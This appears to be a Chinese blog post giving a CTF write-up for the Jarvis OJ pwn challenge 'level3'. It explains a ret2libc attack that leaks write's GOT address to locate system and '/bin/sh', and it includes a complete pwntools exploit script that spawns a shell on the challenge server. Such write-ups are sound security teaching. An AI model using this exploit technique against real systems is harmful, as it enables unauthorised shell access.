(Jarvis Oj)(Pwn) level3

本文介绍如何通过两次write函数调用来泄露内存地址,利用write函数的位置推算出system函数及”/bin/sh”的内存地址,最终实现shell的获取。涉及技术包括IDA反汇编、checksec检查、PLT/GOT表利用等。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

(Jarvis Oj)(Pwn) level3

首先用checksec查看一下保护。
这里写图片描述
依然开启了NX保护。ida反汇编,找到溢出点。
这里写图片描述
可是呢,这次在程序中并没有找到system函数,和”/bin/sh”字符串,那么这次该如何拿到shell呢,还是利用system函数,但是没有程序中system的plt,我们如何获取system的地址呢,这需要利用到在libc.so文件中各个函数的相对位置和加载到内存中之后各个函数的相对位置相同这一特性来获取,我们在程序中发现了,write函数,write函数可以将东西写出来,我们就可以将write函数在内存中的地址泄露出来,由于system和write函数在libc.so文件中的地址是可以知道的,那么进而我们就可以知道system在内存中的的地址,同理可以知道”/bin/sh”在内存中的地址,于是就可以调用system(“/bin/sh”)达到获取shell的目的。至于write函数在内存中的地址是保存在got表中,在第二次运行write函数的时候,got表中就已经记录了write的地址。示意图如下:
这里写图片描述
按参数顺序构造输入,write函数返回值设置为vul函数是为了再次调用read函数,来进行第二次攻击,此次就是调用system函数。
这里写图片描述
最后写得脚本。

from pwn import *                                                                                                      
#conn=process('./level3')
conn=remote("pwn2.jarvisoj.com","9879")
libc=ELF('./libc-2.19.so')
e=ELF('./level3')
pad=0x88
vulfun_addr=0x0804844B  
write_plt=e.symbols['write'] 
write_got=e.got['write'] 

payload1='A'*pad+"BBBB"+p32(write_plt)+p32(vulfun_addr)+p32(1)+p32(write_got)+p32(4)
conn.recvuntil("Input:\n")
conn.sendline(payload1)

write_addr=u32(conn.recv(4))

#calculate the system_address in memory
libc_write=libc.symbols['write']
libc_system=libc.symbols['system']
libc_sh=libc.search('/bin/sh').next()

system_addr=write_addr-libc_write+libc_system 
sh_addr=write_addr-libc_write+libc_sh

payload2='A'*pad+"BBBB"+p32(system_addr)+"dead"+p32(sh_addr)
conn.sendline(payload2)
conn.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值